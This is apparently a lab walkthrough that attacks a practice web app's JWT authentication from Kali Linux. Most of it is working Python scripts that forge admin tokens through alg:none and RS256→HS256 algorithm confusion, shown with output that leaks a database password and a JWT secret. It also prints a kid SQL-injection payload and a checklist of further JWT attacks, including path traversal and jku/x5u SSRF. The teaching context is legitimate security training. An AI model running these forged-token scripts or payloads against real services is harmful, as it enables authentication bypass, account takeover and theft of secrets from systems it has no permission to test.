Exploit two critical JWT vulnerabilities to forge admin tokens from Kali Linux:
alg:none bypass — remove the signature entirely and set alg to none; the server skips verification
RS256→HS256 algorithm confusion — trick the server into verifying an RS256 token using the public key as an HMAC secret, forging an admin token without the private key
Background
JSON Web Tokens are widely used for stateless authentication. The vulnerability class "algorithm confusion" is one of the most impactful JWT attacks because it exploits the server's trust in the client-controlled alg header.
Real-world examples:
2015 Auth0 alg:none — the original disclosure showed that many JWT libraries accepted alg: none and skipped signature verification entirely if the header said so. Affected Flask-JWT, python-jwt, and dozens of other libraries.
2022 CVE-2022-21449 "Psychic Signatures" — Java's ECDSA verifier accepted all-zero signatures for any message. Any JWT with alg: ES256 and a blank signature was accepted as valid.
2017 kid SQL injection — the kid (key ID) header field was passed to a SQL query to look up the signing key; SQL injection allowed returning an empty key, making HMAC(message, "") trivially forgeable.
RS256→HS256 confusion — documented by Tim McLean (2015); still found in production apps that use libraries exposing the raw algorithm parameter without validation.
OWASP: A02:2021 Cryptographic Failures, A07:2021 Identification and Authentication Failures
💡 The confusion: RS256 uses a key pair. The server signs with the private key and verifies with the public key. If the server lets the client choose alg=HS256, it switches to symmetric mode and uses the same key for both — but uses the public key as that symmetric key. The attacker already has the public key (it's public!) and can produce valid HMAC signatures with it.
python3 << 'EOF'
import urllib.request, json, base64, hmac, hashlib, time
T = "http://victim-adv06:5000"
# Step 1: Get the public key from the login response
req = urllib.request.Request(f"{T}/api/login",
data=json.dumps({"username":"alice","password":"alice123"}).encode(),
headers={"Content-Type":"application/json"})
r = json.loads(urllib.request.urlopen(req).read())
PUBLIC_KEY = r['public_key']
print(f"[*] Public key obtained from login endpoint:")
print(f" {PUBLIC_KEY[:60]}...")
print()
print("[*] Attack 2: RS256→HS256 algorithm confusion")
print(" Server expects RS256 (asymmetric: public key verifies)")
print(" Attacker changes header to HS256 (symmetric: same key signs + verifies)")
print(" Vulnerable server uses PUBLIC KEY as the HMAC secret for HS256")
print(" Attacker ALSO uses public key as HMAC secret → signatures match!")
print()
def b64u(s):
if isinstance(s,str): s=s.encode()
return base64.urlsafe_b64encode(s).rstrip(b'=').decode()
# Craft token with alg=HS256, signed with PUBLIC KEY as HMAC secret
hdr = b64u(json.dumps({"alg": "HS256", "typ": "JWT"}))
body = b64u(json.dumps({"sub": "admin", "role": "admin",
"iat": int(time.time()), "exp": int(time.time())+3600}))
sig = hmac.new(PUBLIC_KEY.encode(), f"{hdr}.{body}".encode(), hashlib.sha256).digest()
token_confused = f"{hdr}.{body}.{b64u(sig)}"
print(f"Forged token (alg=HS256, signed with public key):")
print(f" Token: {token_confused[:80]}...")
print()
req2 = urllib.request.Request(f"{T}/api/admin",
headers={"Authorization": f"Bearer {token_confused}"})
r2 = json.loads(urllib.request.urlopen(req2).read())
print(f"[!] Admin access via RS256→HS256 confusion:")
print(f" {r2}")
EOF
[*] Public key obtained from login endpoint:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0B...
[!] Admin access via RS256→HS256 confusion:
{'db_pass': 'Sup3rS3cr3t', 'jwt_secret': 'weak-hs256-secret', 'message': 'Admin access granted!'}
python3 << 'EOF'
import urllib.request, json, base64, time
T = "http://victim-adv06:5000"
def b64u(s):
if isinstance(s,str): s=s.encode()
return base64.urlsafe_b64encode(s).rstrip(b'=').decode()
def forge_none(claims):
hdr = b64u(json.dumps({"alg":"none","typ":"JWT"}))
bdy = b64u(json.dumps({**claims,"iat":int(time.time()),"exp":int(time.time())+3600}))
return f"{hdr}.{bdy}."
print("[*] Testing various claim combinations with alg:none:")
test_cases = [
("alice user", {"sub":"alice","role":"user"}),
("alice as admin", {"sub":"alice","role":"admin"}),
("admin", {"sub":"admin","role":"admin"}),
("root", {"sub":"root", "role":"superadmin"}),
]
for name, claims in test_cases:
token = forge_none(claims)
req = urllib.request.Request(f"{T}/api/profile",
headers={"Authorization": f"Bearer {token}"})
try:
r = json.loads(urllib.request.urlopen(req).read())
print(f" {name:<20} → profile={r}")
except Exception as e:
print(f" {name:<20} → {e}")
EOF
python3 << 'EOF'
# kid injection note — demonstrating the concept
print("[*] kid (Key ID) injection — another common JWT attack:")
print()
print(" Vulnerable code pattern:")
print(" key = db.execute(f\"SELECT key FROM keys WHERE kid='{kid}'\").fetchone()")
print(" hmac.verify(token, key)")
print()
print(" Attack: set kid = \"' UNION SELECT 'attacker_secret'--\"")
print(" Server looks up key from DB via SQLi → returns 'attacker_secret'")
print(" Attacker signs token with 'attacker_secret' → server accepts it")
print()
print("[*] Attack surface checklist:")
items = [
("alg:none", "Set alg=none in header, empty signature"),
("alg confusion", "Change RS256→HS256, sign with public key"),
("kid SQLi", "Inject into kid header field"),
("kid path traversal","Set kid=../../dev/null, sign with empty key"),
("exp manipulation", "Set exp=9999999999 for non-expiring token (alg:none)"),
("jku/x5u SSRF", "Point key URL to attacker-controlled server"),
]
for attack, method in items:
print(f" {attack:<20} {method}")
EOF
echo ""
echo "=== Cleanup ==="
exit